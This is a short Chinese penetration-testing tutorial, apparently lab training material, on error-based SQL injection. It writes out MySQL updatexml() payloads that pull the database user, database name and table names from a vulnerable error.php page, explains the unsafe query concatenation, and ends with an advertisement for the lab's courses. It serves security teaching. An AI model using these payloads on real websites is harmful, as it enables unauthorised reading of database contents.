报错注入攻击 访问error.php?username=1',参数username值为1'。数据库执行SQL时因多一个单引号报错,页面输出错误信息,利用此获取数据。利用MySQL函数updatexml(),SQL语句为:1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+。其中0x7e解码为~。尝试获取当前数据库库名,语句为:...
最新报错注入攻击和代码分析技术
报错注入攻击
访问error.php?username=1',参数username值为1'。数据库执行SQL时因多一个单引号报错,页面输出错误信息,利用此获取数据。利用MySQL函数updatexml(),SQL语句为:1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+。其中0x7e解码为~。尝试获取当前数据库库名,语句为:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+,结果获取库名。
利用select语句继续获取库名、表名和字段名,构造SQL:1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+,获取库名。构造查询表名SQL:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= 'test' limit 0,1),0x7e),1)--+,获取数据库test表名。
在报错注入页面,程序获取GET参数username,拼接到SQL中执行。输入username=1',SQL为select * from users where `username`='1''。执行时因多单引号报错,错误信息回显页面,利用floor()、updatexml()等函数输出查询内容。
Ms08067安全实验室提供网络安全知识普及和专业培训,出版安全书籍如《Web安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》等,开设包括Web安全、Java代码安全审计、恶意代码分析、CTF实战、网络安全应急响应等课程。2024-10-28